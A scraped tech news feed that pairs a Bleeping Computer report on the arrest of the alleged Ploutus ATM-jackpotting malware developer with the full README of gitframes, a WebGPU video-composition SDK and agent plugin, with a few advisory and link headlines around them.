SUSE SUSE-SU-2026:23991-1 SLE16.0 wget 2026-10-05
SUSE openSUSE-SU-2026:11913-1 TW xdg-dbus-proxy 2026-10-03
Ubuntu USN-8867-1 18.04 20.04 22.04 26.04 ceph 2026-10-05

Pixel 11 doesn't yet meet the GrapheneOS security standards and may be skipped

Hacker News
discuss.grapheneos.org
2026-10-05 09:02:25
Comments...

Alleged dev of Ploutus ATM malware appears in US court after arrest

Bleeping Computer
www.bleepingcomputer.com
2026-10-05 09:01:45
The U.S. Department of Justice has announced the arrest of the alleged developer of Ploutus malware, used to steal millions of dollars in ATM jackpotting attacks across the United States. [...]...
Original Article

Hacker rrest

The U.S. Department of Justice has announced the arrest of the alleged developer of Ploutus malware, used to steal millions of dollars in ATM jackpotting attacks across the United States.

Also known as "Prometheus" and "The Engineer," 50-year-old Anibal Alexander Canelon Aguirre was the first cybercriminal added to the FBI's "Top 10 Most Wanted Fugitives" list in March 2026 .

According to court documents , Canelon Aguirre and his accomplices deployed Ploutus malware and emptied bank and credit union automated teller machines (ATMs) in jackpotting attacks between February 2024 and December 2025.

Financial losses after these attacks surpassed $100,000 per incident, with more than $5.4 million stolen in at least 63 ATM jackpottings targeting banks and another 54 against credit unions, plus an additional $1,429,738 in attempted attacks.

The criminal ring's members laundered the stolen funds and then transferred them to accounts controlled by the Tren de Aragua (TdA) Venezuelan gang in various countries.

Canelon Aguirre FBI wanted poster
Canelon Aguirre FBI wanted poster (FBI)

"Canelon Aguirre is alleged to be the developer of the Ploutus malware and one of the principal leaders of ATM jackpotting conspiracy. Ploutus malware consisted of, among other things, files that contained anti-analysis measures to hinder forensic review, specifically software protection utilities to prevent reverse-engineering and debugging," the Justice Department said in a Friday press release.

"The malware also contained other files that served the function of deleting the malware from the system in an effort to conceal, create a false impression, mislead, or otherwise deceive employees of the financial institution from learning about the deployment of the malware on the ATM."

​Canelon Aguirre was charged in Nebraska in December 2025 with several offenses: conspiracy to commit bank fraud (which carries a maximum sentence of 30 years in prison), conspiracy to commit money laundering (with a maximum sentence of 20 years), conspiracy to commit bank burglary and fraud in connection with computers (which could result in a five-year sentence), and a charge of conspiracy to provide material support to terrorists that carries a maximum of 15 years.

Suspects installing malware in ATM jackpotting attacks
Suspects installing malware in ATM jackpotting attacks (Treasury Department)

The U.S. Treasury Department designated TdA as a transnational criminal organization in July 2024, and the Department of State designated it as a foreign terrorist organization in February 2025.

Last week, the U.S. Office of Foreign Assets Control (OFAC) also sanctioned eight TdA members (including Canelon Aguirre) for their roles in jackpotting attacks targeting U.S. financial institutions.

"TdA has expanded its criminal network throughout the Western Hemisphere and established a presence in the United States. TdA's criminal activities range from drug trafficking and firearms trafficking to commercial sex trafficking, kidnapping, robbery, theft, fraud, and extortion. TdA members also commit murder, assault, and other violent acts to advance the organization's criminal activities," the Justice Department said in a Friday press release.

"TdA has also developed an additional source of revenue stream through financial crimes that target financial institutions throughout the United States, including using ATM jackpotting to steal millions of dollars in cash. The investigation has revealed that the conspiracy has targeted or carried out ATM jackpotting attacks in 47 states, the District of Columbia, and several foreign nations."

Since October 2025, the Justice Department has charged 98 suspects involved in ATM jackpotting schemes linked to the TdA gang. They now face maximum sentences ranging from 20 to 335 years in prison each.

After a wave of arrests targeting members of the TdA criminal organization, the FBI also warned in February that criminals had stolen more than $20 million in 2025 in a massive surge of ATM hacking attacks.

article image

Build your security blueprint for AI-powered attacks

Join Mikko Hyppönen and security leaders from the NFL, CHANEL, and Atlassian for a two-hour digital summit on what AI-speed attacks change, what defenders should stop doing, and how to validate, decide, fix, and re-validate at machine speed.

Save your seat

Gitframes

Hacker News
github.com
2026-10-05 08:59:14
Comments...
Original Article

gitframes — code-first video, rendered natively on WebGPU

Photoshop-, After Effects-, and Blender-class video tools as one npm package that AI agents drive with code.

npm license status discord youtube node engine gpu vision

⚠️ Beta: gitframes is under active development. APIs may change between releases and some features may be incomplete or unstable.

Gitframes is built for coding agents. It packs the work people usually split across three desktop apps (Photoshop-grade compositing and VFX, After Effects-style motion, typography and keyframing, and Blender-style 3D scenes, cameras and models) into one lightweight npm package. Your agent writes a TypeScript composition, checks frames, and renders an MP4, and nobody has to install or license a multi-gigabyte creative suite.

Code-first video as pure software engineering — no headless browser, no DOM reflow, no screenshot pipeline. Renders directly on GPU hardware via Dawn / WebGPU / Metal / Vulkan in Node.js and modern WebGPU browsers.

Made with gitframes

Every frame of these films is rendered by gitframes from TypeScript in examples/ . Click a still to watch it on YouTube.

Note

Using an AI coding agent? Install the gitframes skills in one line.

Claude Code

/plugin install gitframes

Any other agent (Codex, Cursor, Hermes, Gemini CLI, Copilot, and more)

npx skills add gatewai-dev/gitframes

See Agent Skills & Plugins for details.


Table of Contents


Modern automated video generation is usually constrained by the architectures of general-purpose web browsers: process overhead, non-deterministic DOM layout reflows, and slow screenshot capture. Gitframes treats video composition as software engineering :

Pillar What it means
🚀 Zero Headless-Browser Overhead No Puppeteer, no Chromium IPC, no page.screenshot() . Gitframes talks straight to native GPU devices via Dawn/WebGPU and hardware-encodes with @napi-rs/webcodecs .
🎯 Deterministic Frame-Accurate Clock Absolute frame clocks, discrete sample points, and frame-accurate audio BeatGrids. No floating timers, no drift, no dropped frames.
🔠 Analytic, Resolution-Independent Type The Slug algorithm evaluates glyph contours per-pixel in WGSL — no texture atlases, no scaling artifacts, razor-sharp from 10 px to 10,000 px.
🎨 Photoshop-Grade Tonal & Spatial VFX 50+ modular GPU shaders: Curves, Levels, Selective Color, 3D LUTs, Halftone, Film Grain, Unsharp Mask, Mesh Warp, and Screen-Space Relighting.
🧊 Unified 3D & 2D Depth Compositing Nest 2D flex/box trees inside 3D homography planes, multiplane rigs, and meshes (OBJ, FBX, glTF/GLB, STL, PLY, VOX, 3DS, OFF), with PBR glass and SSAO.
🔊 Built-in Procedural Audio DSP Multi-track soundtracks, deterministic procedural transition SFX (whoosh, impact, riser), and reactive signals that drive visuals from audio.
👁️ On-Device Neural Vision Object tracking, instance segmentation, multi-person pose, and person mattes from Apache-2.0 ONNX models — feeding reactive signals without a round trip to disk.
☁️ Cloud-Native & CI/CD Ready ~200–400 MB RAM per worker (vs. 2–4 GB for Chromium), ideal for serverless GPU render clusters (AWS G4/G5, Modal, RunPod, Kubernetes).

Architectural Comparison: Gitframes vs. Remotion vs. Hyperframes

Developers generating video programmatically commonly weigh Remotion (React/Chromium) or Hyperframes (Canvas2D/SVG web animation). The matrix below compares the fundamental engineering dimensions.

Detailed Comparison Matrix

Capability / Dimension Gitframes Remotion Hyperframes
Underlying Engine Native WebGPU (WGSL compute & render pipelines via Dawn / Metal / Vulkan) Chromium / Puppeteer (React DOM, HTML/CSS layout) Canvas2D / WebGL / SVG (browser or Node Skia)
Rendering Architecture Direct hardware framebuffer rendering & hardware video encoding ( @napi-rs/webcodecs ) Spawns headless Chrome; captures frames via CDP / page.screenshot() Software or hardware 2D canvas context
Throughput 60–120+ FPS (real-time to faster-than-real-time GPU execution) 5–20 FPS (DOM reflow, IPC, rasterization) 20–40 FPS (CPU draw commands / JS)
Memory Footprint ~200–400 MB per render (zero browser) 1.5–4.0 GB+ per worker (Chromium + V8 DOM heap) ~500 MB–1 GB (Skia/Canvas bindings)
Typography Engine Slug GPU — analytic Bézier evaluation in WGSL, infinite zoom, After Effects selectors Browser DOM text (CSS fonts, rasterized, blurry under 3D transforms) Canvas2D / path text (CPU-rasterized glyphs)
2D VFX & Post-Processing 50+ WebGPU shaders (Curves, Levels, Selective Color, 3D LUT, Film Grain, Halftone, Liquify, PBR Glass, Relight) CSS Filters or custom WebGL canvas wrappers Basic Canvas2D composites and 2D filters
3D Graphics & Depth Native 3D scene graph — LookAt/Turntable camera, multiplane, skinning (OBJ/FBX/glTF), SSAO, PCSS, DoF None built-in (embed Three.js/Fiber inside React DOM) Minimal 2.5D layers; no unified mesh pipeline
Motion Blur & Physics Physical 180° shutter velocity buffers in MRT + closed-form spring kinematics CSS transitions / JS interpolation; synthetic blur hacks Frame interpolation or manual multipass
Audio Engine & DSP Native audio DSP & procedural SFX (multi-track mixing, beat grids, reactive signals) <Audio> playback; basic volume curves Basic static audio playback
Charts & Data Viz Layer.chart — line, area, bar, scatter, candlestick, pie and donut charts built from native vector nodes, with staggered reveal animations DOM chart libraries (Recharts, Chart.js) Custom canvas draw operations
AI & Computer Vision On-device ONNX vision — COCO-80 detection + instance masks (RTMDet-Ins), COCO-17 pose (RTMO), person mattes (Selfie Segmenter); WebGPU tensor conditioning (Canny, depth-to-normals, optical flow, deflicker) External pre-rendered assets; no native GPU tensor conditioning External pre-rendered assets
Headless Verification FrameGrid contact sheets , single-frame snapshots, Skia MSE pixel-invariant assertions Playwright/Puppeteer visual snapshots Manual frame inspection / canvas diffing
Docker / Cloud Portability Compact (~500 MB slim image with native GPU/Vulkan drivers) Heavy (~2–3 GB with Chromium, fonts, X11/Mesa) Moderate container size

Key Features & Capabilities

1. Slug GPU Vector Typography & AE Parity

Traditional text relies on CPU rasterization or low-res SDF atlases that soften under 3D camera sweeps. Gitframes integrates the Slug algorithm ( SlugPipeline ):

  • Analytic GPU evaluation — WGSL fragment shaders solve exact cubic/quadratic Béziers per-pixel. Glyphs stay sharp at 10 px or 10,000 px with zero CPU re-rasterization.
  • After Effects–parity animators — range selectors ( square , ramp_up , ramp_down , triangle , smooth ), easeHigh / easeLow curves, and seeded PRNG character shuffling ( TextAnimator ).
  • Human typing cadence — weighted punctuation delays (commas 3×, sentence ends 5.5×, newlines 7×) and trailing scramble resolution ( TypewriterAnimator ).
  • 3D volumetric formations — map text onto cylindrical drums, logarithmic vortex spirals, and double-helix ribbons with surface-normal banking ( evaluateVolumetricFormation ).
  • Dynamic leading & skew — area-preserving unimodular shear and accordion line-leading anchored to baseline, center, or top.

2. Photoshop-Grade WebGPU 2D VFX (50+ Shaders)

A comprehensive suite of professional image/video shader nodes in nodes/ and packages/webgpu-renderers :

  • Tonal grading — Curves (RGB/R/G/B spline), Levels (black/white point, gamma, output), Shadows/Highlights, Selective Color (CMYK gamut isolation), 3D Cube LUT ( ApplyLUT ).
  • Stylization & grain — Film Grain (Gaussian emulsion with spatial seed variation), Halftone (mono/RGB/CMYK, adjustable dot shape & angle), Gradient Map, High Pass.
  • Optics & lens — Bilateral Gaussian Blur, Unsharp Mask, Vignette, Refraction Caustics, PBR Glassmorphism with chromatic dispersion ( PBRGlass ).
  • Distortion & warping — Displacement Maps, Liquify, Mesh Warp, Corner Pin homography.

3. Unified 3D Scene Graph, Camera & Mesh Shading

  • Calibrated camera rig — LookAt and Turntable cameras ( Camera3D ) calibrated so z = 0 matches 2D canvas pixel coordinates 1:1.
  • 3D layout primitives — Layer3D.cube , carousel , prism , plane , grid with unified depth-buffer testing.
  • Zero-dependency model parsers — OBJ, FBX, glTF/GLB, STL, PLY, VOX, 3DS, OFF.
  • Skeletal animation & shading — 128-bone Linear Blend Skinning, Blinn-Phong & PBR multi-light shading, PCSS/Poisson contact shadows, SSAO, and optical DoF.
  • Physical motion blur — 180° shutter motion blur with per-vertex velocity vectors packed into rg16float MRT buffers.

4. Audio Layers, Procedural SFX & Reactive Signals

  • Soundtrack layers — .audio media nodes with frame-exact lifecycle control.
  • Procedural SFX — deterministic CPU-synthesized whooshes, impacts, risers, downshifters, and glitches placed on the bar/beat grid ( renderSfx , mixSfxInto , softLimit ).
  • Multi-track mixing — master tracks headlessly with mixAudioTracks and encodeStereoWav .
  • Reactive signals — drive transforms, scale, borders, or shader uniforms from tempo signals ( Signal.builder ) or audio analysis.

5. Animated Charts

Layer.chart builds line, area, bar (grouped or stacked), scatter, candlestick, pie and donut charts. d3 computes the scales, ticks and geometry; every bar, line, slice and label is an ordinary box, path or text node:

  • Labels use the composition's registered fonts and the same GPU text renderer as the rest of the film.
  • A built-in reveal draws lines on, grows bars from the baseline and staggers points and slices ( animate: { start, duration, stagger, ease } , or animate: false ).
  • The chart is one box, so it positions, animates, grades and tilts into 3D like any other layer.
Layer.chart(
  {
    type: "bar",
    width: 900,
    height: 480,
    categories: ["Q1", "Q2", "Q3", "Q4"],
    series: [
      { name: "Revenue", data: [12, 19, 24, 31] },
      { name: "Costs", data: [8, 11, 13, 15] },
    ],
    yAxis: { format: "$,.0f" },
    animate: { start: 10, duration: 30 },
  },
  { position: "absolute", x: 120, y: 200 },
);

6. On-Device Vision & Tracking

@gitframes/vision runs ONNX models via onnxruntime-node (CPU) or onnxruntime-web (WebGPU) and wires every result into the same reactive signal surface the rest of Gitframes consumes.

Tip

Lazy by construction. VisionRunner.create() , comp.withVision(...) and VisionNode.attach(...) perform zero I/O — no downloads, no sessions, no file probes. A model is fetched the first time a task actually runs. To warm up ahead of time, call await runner.preload(["detect", "pose"]) (or await vision.ready() on an attached node).

Tasks and models

Every model is Apache-2.0 , pinned to an immutable Hugging Face revision, and verified by SHA-256 after download.

Task Option Model Output
Detect enableDetection RTMDet-Ins t/s/m (OpenMMLab) COCO-80 boxes + scores, tracked over time
Segment enableSegmentation RTMDet-Ins (same forward pass as detect) Soft per-instance masks, frame-aligned
Pose enablePose RTMO t/s/m (OpenMMLab) 17 COCO keypoints + visibility per person
Matte enableMatte MediaPipe Selfie Segmenter (Google) Fast person-vs-background alpha for portrait / webcam framing
  • Variants — variant: "t" | "s" | "m" (default "s" ; ~24 / 43 / 116 MB for RTMDet-Ins). Tune confidence and a COCO classes filter per composition. On CPU, a 2K frame takes roughly 200–340 ms to detect + segment, ~120 ms for pose and ~20 ms for the matte with "s" .
  • One pass, two tasks — detection and segmentation share a single RTMDet-Ins inference per frame.
  • Picking a matte — the Selfie Segmenter is tuned for a person filling much of the frame: it misses distant figures and can report "person" on close-ups with nobody in them. For anything else, cut out with instance masks ( matteSource: "instance" , the default).
  • Whole-subject cutouts — mask / matte / crop modes merge every comparably sized instance that overlaps the main subject, so a flowing dress or a held instrument stays attached to the person, while a tunnel or window framing them does not.
  • One-frame delay — vision reads each layer's previous rendered frame, so results trail the plate by one frame and frame 0 has none. Verify vision layers with the exported video or consecutive frames, not frame grids.
  • Model cache & mirrors — models are cached atomically (temp + rename) in $GITFRAMES_MODELS_DIR (default ~/.cache/gitframes/models ). Point baseUrl or GITFRAMES_MODELS_BASE_URL at your own mirror for air-gapped or CI renders.

GPU helpers

Temporal tracking & analysis

  • Multi-object tracker ( TemporalObjectTracker ) assigns stable trackId s via IoU association, with configurable minHits , positionSmoothing , and velocity-based coasting for up to maxMissedFrames (default 15) so a transient miss holds the track instead of flashing.
  • Pose↔track matching ( pose-track-matcher ) binds keypoints to the right track by id, then by spatial IoU fallback.
  • One-shot sequence analysis — comp.analyzeVisionSequence(src, { tasks, categories }) decodes frames through the mediabunny pipeline, tracks them, and returns a zod-serializable report (per-track frame ranges, mean speed, sampled center paths, per-class presence/confidence, mean mask coverage, model download bytes/timing) ( analyzeSequence ).

Reactive vision signals

Every tracked entity is exposed as reactive ProgrammaticSignal s that animate layers and shader uniforms:

Group Highlights
objects get(trackId) , byCategory(cat, rank) , primary , count , hasCategory , detectedCategories
objects.*.bounds x/y/width/height , screenX/screenY/screenWidth/screenHeight , aspectRatio , area
objects.*.anchors 9 anchors (corners, edges, center) ready for pinning
objects.*.kinematics vx , vy , speed , acceleration , headingRad/Deg
objects.*.pose All 17 COCO keypoints, plus hasPose , wristSpeed , handRaised , bodyTiltAngle
masks get(trackId) , subject , count ; per-mask area , coverage , solidity , bboxFill
segmentation subject , humanSilhouette , instanceMasks , matte.coverage , GPU stencilTexture
classes Per-class count , maxConfidence , present , primary , plus a detection histogram
Tensors poseLandmarksTensor [17,3] , objectsTensor [16,8] , masksTensor [16,2] , histogramTensor [80]

Spatial pinning

Project normalized landmarks to screen space with a configurable camera FOV, then bind any node to a track or landmark ( SpatialLandmarkTransformer , spatial-pin ):

  • pinToObject(track, { anchor, offsetX/Y/Z, matchWidth, matchHeight, smoothFrames, hideWhenLost })
  • pinToLandmark(coord, { offsetX/Y/Z })

High-level composition helpers

  • Subject Sandwich — comp.addSubjectSandwich({ source, behind, feather, fit }) cuts the foreground subject out and places typography/graphics behind them.
  • Smart Reframing — comp.addSmartFraming({ source, target, targetAspect, damping, leadHeadroom }) auto-crops 16:9 → 9:16 while tracking target .
  • Subject Outline — comp.addSubjectOutline(vision.segmentation.subject, { source, color, width, blur }) strokes the segmented boundary as an audio-reactive contour glow.
  • Tracked Region Blur — layer.blurRegion(track, { strength }) blurs faces, plates, or any detected class.
  • Node modes — passthrough , mask , matte , crop , skeleton , boxes , tracking ; pick the cutout alpha with matteSource: "instance" | "selfie" , and optionally keyBackground to grow the subject into connected foreground.

Agent-first DX

  • Runtime config is zod-validated and available from a zod-only entry ( @gitframes/vision/schemas ) so the hot path stays zod-free. Unknown or removed options are rejected, not silently ignored.
  • vision.summary(frame) returns a deterministic, serializable snapshot (objects, classes, masks) safe to call inside a frame hook.
  • Clear failures — a model that is the wrong size, fails its checksum, or lacks an expected output raises an error naming the model and its source.
  • Browser entry — @gitframes/vision/web re-exports the engine plus createWebGPUProvider() / hasWebGPU() ; onnxruntime-web is an optional lazy peer.

7. Headless Conformance & FrameGrid Testing

  • Pixel-sampling invariant assertions — test compositions in Vitest with skia-canvas to verify shader math, font coverage, and Mean Squared Error (MSE) temporal deltas.
  • FrameGrid contact sheets — comp.renderFrameGrid(...) outputs sequential-frame contact sheets for instant review of easing, kinetic type, and transitions.

8. Live Preview in the Browser

  • Runs your composition, not a video — startPreview({ entry, export }) serves a localhost WebGPU player that loads the composition's own module and renders every frame live in the browser. Nothing is streamed: the server only hands over the bundle, the project's assets, and the soundtrack mixed by the export engine.
  • Timeline, waveform & frame stepping — play/pause, scrub, step frame by frame, and read resolution, FPS, duration, and audio status at a glance.
  • One stable URL per project — the port is derived from the working directory, so re-running the preview replaces the running server and any open tab reloads into the new version by itself. Close the tab and the server shuts down about five seconds later.
  • Shown where you are — startPreview serves the page and returns its URL instead of opening a browser, so an agent can show it in its own pane (Claude Code, Codex); pass open: true to open the system browser.
import { startPreview } from "gitframes";

const session = await startPreview(
  { entry: new URL("./film.ts", import.meta.url), export: "buildFilm" },
  { title: "gitframes film" },
);
console.log(`Preview at ${session.url}`);
await session.closed; // serves until its tab closes or a newer preview takes over

gitframes live preview player: WebGPU rendering, waveform timeline, frame stepping, and audio status at 127.0.0.1:41133


Monorepo Architecture

Managed with pnpm workspaces and turbo :

gitframes/
├── packages/
│   ├── gitframes/              # Unified SDK (Composition, Layer, LayerAnimation, Signal, effects)
│   ├── core/                   # Core AST, Effect base class, VirtualMediaData, vision types
│   ├── compositions/           # Layout engine, Flex/Box AST compiler, timeline evaluator
│   ├── webgpu-renderers/       # WGSL shaders, Slug text engine, 3D renderer, camera, lights, materials
│   ├── tensor-webgpu/          # WebGPU compute pipelines (Canny, depth-to-normals, flow, deflicker, landmarks)
│   ├── vision/                 # ONNX vision engine: detect, segment, pose, matte, tracking, signals
│   ├── renderer/               # Headless Node.js WebGPU renderer via Dawn, WebCodecs, skia-canvas
│   ├── renderers/              # Higher-level render orchestration
│   ├── media/                  # Media decoding / encoding adapters
│   ├── node-sdk/               # Node renderer contracts and result schemas
│   ├── server-utils/           # Server infrastructure, storage, asset caches
│   └── client-utils/           # Shared browser utilities
├── nodes/                      # 58+ specialized domain nodes (VFX, audio, layout, node-vision)
├── apps/
│   └── renderer-service/       # Production HTTP / gRPC rendering microservice container
├── examples/                   # Reference compositions and films
├── plugins/gitframes/          # Agent plugin: skills only (setup, compose, effects, render)
└── scripts/                    # Build, release, and plugin validation tooling

Quickstart Guide

Installation

Requirements: Node.js ≥ 22. Gitframes uses native GPU acceleration via Dawn / WebGPU or Vulkan.


1. Basic Composition & Kinetic Auto-Layout

import { Composition, Layer, LayerAnimation } from "gitframes";

// 1. Initialize a 1080p60 composition
const comp = new Composition({
  width: 1920,
  height: 1080,
  fps: 60,
  durationFrames: 180, // 3 seconds
  backgroundColor: "#090a0f",
  fonts: ["assets/fonts/Inter.ttf", "assets/fonts/SpaceGrotesk.ttf"],
});

// 2. Define physical snap-overshoot animations
const cardEntrance = LayerAnimation.create()
  .fadeIn(0, 20, "power2.out")
  .fromTo("y", 60, 0, { start: 0, end: 35, ease: "back.out(1.5)" })
  .fromTo("scale", 0.92, 1.0, { start: 0, end: 35, ease: "back.out(1.2)" });

// 3. Assemble a responsive flex-layout card
const heroCard = Layer.box({
  width: 720,
  height: 380,
  background: "#141721",
  borderRadius: 24,
  borderColor: "#262b3d",
  borderWidth: 1.5,
  padding: 32,
  children: [
    Layer.flex({
      dir: "column",
      gap: 16,
      children: [
        Layer.text("GITFRAMES ENGINE", {
          fontSize: 16,
          fontWeight: 700,
          fill: "#6366f1",
          letterSpacing: 2.0,
        }),
        Layer.text("Next-Gen WebGPU Motion", {
          fontSize: 48,
          fontWeight: 700,
          fill: "#f8fafc",
          fontFamily: "SpaceGrotesk",
        }),
        Layer.text("Direct hardware video composition without headless browser overhead.", {
          fontSize: 20,
          fill: "#94a3b8",
          lineHeight: 28,
        }),
      ],
    }),
  ],
}).animate(cardEntrance);

comp.add(heroCard);

2. Unified 3D Scene with Camera & 3D Model

import { Composition, Layer, Layer3D, CameraAnimation, Light } from "gitframes";

const comp = new Composition({ width: 1920, height: 1080, fps: 60, durationFrames: 300 });

// 1. LookAt 3D camera with a continuous orbit
const cameraAnim = CameraAnimation.camera().orbit({
  azimuth: { from: -30, to: 30 },
  elevation: { from: 15, to: 15 },
  radius: { to: 1200 },
  start: 0,
  end: 300,
});

comp.add(
  Layer.camera({ x: 960, y: 540, z: -1000, targetX: 960, targetY: 540, targetZ: 0 }).animate(cameraAnim)
);

// 2. Studio lighting
comp.add(Light.ambient("#ffffff", 0.4));
comp.add(Light.directional({ color: "#e0e7ff", intensity: 1.2, x: 500, y: -800, z: -600 }));

// 3. 3D model with skeletal animation
comp.add(
  Layer.glb("assets/models/character.glb", {
    x: 960,
    y: 640,
    z: 0,
    scale: 2.5,
    material: "lit",
    loop: true,
  })
);

// 4. 3D prism layout carousel
comp.add(
  Layer3D.carousel({
    radius: 400,
    items: [
      Layer.box({ width: 280, height: 180, background: "#1e293b", borderRadius: 16 }),
      Layer.box({ width: 280, height: 180, background: "#334155", borderRadius: 16 }),
      Layer.box({ width: 280, height: 180, background: "#0f172a", borderRadius: 16 }),
    ],
  })
);

3. Audio Soundtrack, Procedural SFX & Reactive Signals

import { Composition, Layer, LayerAnimation, Signal, renderSfx, mixSfxInto, softLimit } from "gitframes";

const comp = new Composition({ width: 1920, height: 1080, fps: 60 });
const totalFrames = 240;

// 1. Soundtrack layer
comp.addAudio(Layer.audio("assets/score.mp3", { volume: 0.9, durationFrames: totalFrames }));

// 2. Frame-accurate procedural SFX on the beat grid
const bed: [Float32Array, Float32Array] = [
  new Float32Array(Math.ceil((totalFrames / 60) * 48000)),
  new Float32Array(Math.ceil((totalFrames / 60) * 48000)),
];
mixSfxInto(bed, [
  renderSfx({ type: "whoosh", atBar: 0.79, volume: 0.5 }, { sampleRate: 48000, secondsPerBar: 2.0, seed: 1 }),
  renderSfx({ type: "impact", atBar: 1.0, volume: 0.8 }, { sampleRate: 48000, secondsPerBar: 2.0, seed: 2 }),
]);
softLimit(bed);

// 3. Tempo signal (120 BPM = 2 Hz)
const beatPulse = Signal.builder({ type: "sawtooth", frequency: 2, amplitude: 0.08, offset: 1.0 });

// 4. Bind it to visuals
const reactiveCard = Layer.box({ width: 400, height: 250, background: "#1c202e", borderRadius: 20 })
  .animate(
    LayerAnimation.create()
      .signal("scale", beatPulse, { multiplier: 1.0, offset: 0.0 })
      .fromTo("opacity", 0, 1, { start: 0, end: 15, ease: "power2.out" }),
  );

comp.add(reactiveCard);

4. Chained WebGPU Post-Processing VFX

import { Composition, FilmGrain, Vignette, ColorBalance } from "gitframes";

const comp = new Composition({ width: 1920, height: 1080, fps: 60 });

// Whole-composition cinematic grade + film emulsion
comp.apply(new Vignette({ strength: 0.28, radius: 0.85 }));
comp.apply(new FilmGrain({ strength: 0.06, size: 1.5, animated: true }));
comp.apply(
  new ColorBalance({
    shadows: { cyanRed: 0, magentaGreen: 2, yellowBlue: 6 },
    highlights: { cyanRed: 4, magentaGreen: 1, yellowBlue: -2 },
  }),
);

5. Vision: Pin, Matte & Reframe

import { Composition, Layer, Vignette } from "gitframes";

const comp = new Composition({ width: 1920, height: 1080, fps: 30 });

// Run vision on the whole composition. Models download lazily on first use.
const vision = comp.withVision({
  enableDetection: true,
  enableSegmentation: true,
  enablePose: true,
  variant: "s",
  confidence: 0.35,
});

// Pin a caption to the primary tracked subject (smoothing + auto-hide when lost)
comp.add(
  Layer.text("SUBJECT 01", { fontSize: 40, fill: "#f8fafc" }).pinToObject(
    vision.objects.primary,
    { anchor: "topCenter", offsetY: -48, smoothFrames: 5, hideWhenLost: true },
  ),
);

// Drive a shader uniform from a reactive signal — here, subject mask coverage
comp.add(
  Layer.box({ width: 1920, height: 1080, background: "#000000" }).withEffect(
    new Vignette({ strength: vision.segmentation.subject.coverage, radius: 0.9 }),
  ),
);

// Or use the one-liners for the common editorial moves:
// comp.addSubjectSandwich({ source: "assets/dancer.mp4", behind: [headline], feather: 4 });
// comp.addSmartFraming({ source: "assets/action.mp4", target: vision.objects.primary, targetAspect: 9 / 16 });
// comp.addSubjectOutline(vision.segmentation.subject, { source: "assets/character.mp4", color: "#FF5A1F", width: 6 });

// Inspect a source before authoring: one-shot, ffmpeg-free, zod-serializable report
const report = await comp.analyzeVisionSequence("assets/street.mp4", {
  tasks: ["detect", "pose"],
  categories: ["person"],
});
console.log(report.tracks.map((t) => `${t.category}#${t.trackId} ${t.frames.join("–")}`));

Standalone runner (no composition):

import { VisionRunner } from "@gitframes/vision";

const runner = VisionRunner.create({ variant: "s", confidence: 0.3 }); // zero I/O
const frame = { data: rgba, width: 1920, height: 1080 };
const boxes = await runner.detect(frame); // downloads RTMDet-Ins on first call
const { masks } = await runner.segment(frame); // same forward pass, no second inference
const { people } = await runner.pose(frame); // RTMO, COCO-17 keypoints
runner.close();

In the browser (WebGPU EP):

import { VisionRunner, createWebGPUProvider, hasWebGPU } from "@gitframes/vision/web";

if (hasWebGPU()) {
  const runner = VisionRunner.create({ provider: createWebGPUProvider() });
}

6. Headless Video & FrameGrid Rendering

import { buildMyComposition } from "./my-composition.js";

const comp = await buildMyComposition();

// 1. Single frame to a PNG buffer for visual inspection
const frameBuffer = await comp.renderFrame({ frame: 45 });

// 2. Contact-sheet grid of 12 sequential frames
const gridBuffer = await comp.renderFrameGrid({
  startFrame: 0,
  endFrame: 120,
  stepFrames: 10,
  cellWidth: 320,
  showLabels: true,
});

// 3. Final hardware-encoded MP4 with mixed audio
const { filePath } = await comp.renderVideo({
  outputPath: "output/final-product-film.mp4",
  quality: "high",
  concurrency: 4,
});

console.log(`Video rendered successfully to: ${filePath}`);

Engineering Doctrines & Best Practices

  1. Design tokens & theme contracts — define a centralized THEME for colors, type, radii, and spacing. Never hardcode magic hex values or ad-hoc margins.
  2. WebGPU premultiplied-alpha invariant — fragment shaders outputting premultiplied alpha ( color * opacity * alpha ) must use srcFactor: "one" in their blend state ( { srcFactor: "one", dstFactor: "one-minus-src-alpha", operation: "add" } ). Never use srcFactor: "src-alpha" for premultiplied output — squaring alpha darkens fades into murky gray.
  3. Carrier match cuts — carry a visual element (badge, card, cursor, container) across scene boundaries with continuous velocity and position to avoid jarring cuts.
  4. Physical easing vocabulary — back.out(1.4–1.7) for snap-overshoot entrances, spring / expo.out for decelerating motion, power2.in for exits. Reserve linear for infinite spinners and time counters.
  5. Headless invariant verification — verify shader transforms, glyph coverage, and temporal MSE deltas with skia-canvas pixel sampling in Vitest before shipping.

Agent Skills & Plugins

Gitframes ships agent skills that teach Claude, Codex, and other coding agents how to write, render, and check compositions. The plugin ( gitframes ) is listed in Anthropic's official plugin directory and contains only skills — no MCP servers, hooks, or commands. Every other agent gets the same skills through the skills CLI.

Skill Use it for
gitframes Starting a project: install from npm, scaffold a composition and render script, first verified render
gitframes-compose Compositions, layer trees, layout, animation and easing, beat grids, film structure
gitframes-effects Effect classes, the unified section architecture, premultiplied-alpha invariants, vision conditioning
gitframes-render Headless rendering, FrameGrid inspection, pixel probes, MP4 delivery checks

Once installed, skills load automatically when a task matches (e.g. "add a film-grain pass to this scene" or "render a frame grid of intro.ts" ).

What the plugin runs and sends

The plugin is instructions only. It bundles no executables, MCP servers, hooks, or package launchers, and it sends no data anywhere. The skills tell your agent to add the gitframes npm package to your project and how to use it. When that code uses on-device vision, the SDK downloads the pinned model weights from Hugging Face on first use (see On-Device Vision ). Nothing else leaves your machine.

Claude Code

/plugin install gitframes

Or from your shell:

claude plugin install gitframes@claude-plugins-official

It installs from Anthropic's official marketplace, which Claude Code adds for you, so there is no marketplace step, and plugins from it update automatically. Afterwards, restart Claude Code or run /reload-plugins . /plugin commands need an interactive claude terminal; in the desktop app's Code tab, use the shell form or + > Plugins > Add plugin and pick Gitframes .

Add --scope project to the shell form to record the plugin in .claude/settings.json for the whole team.

Enable it for everyone in your repo. Commit this to .claude/settings.json ; Claude Code prompts teammates to install it when they trust the folder:

{
  "enabledPlugins": {
    "gitframes@claude-plugins-official": true
  }
}

Straight from this repository (tracks main instead of the directory release):

/plugin marketplace add gatewai-dev/gitframes
/plugin install gitframes@gitframes-plugins

Codex, Cursor, Hermes, and other agents

The skills CLI installs the skills into any of 70+ agents, including Codex, Cursor, Hermes, Gemini CLI, GitHub Copilot, Windsurf, OpenCode, and Goose:

npx skills add gatewai-dev/gitframes

It detects the agents on your machine and asks where to install. To choose them yourself, pass -a once per agent, add -g to install for your user instead of this project, and -y to skip the prompts:

npx skills add gatewai-dev/gitframes -a codex -a cursor -a hermes-agent -g -y

Keep them current with npx skills update , and remove them with npx skills remove .

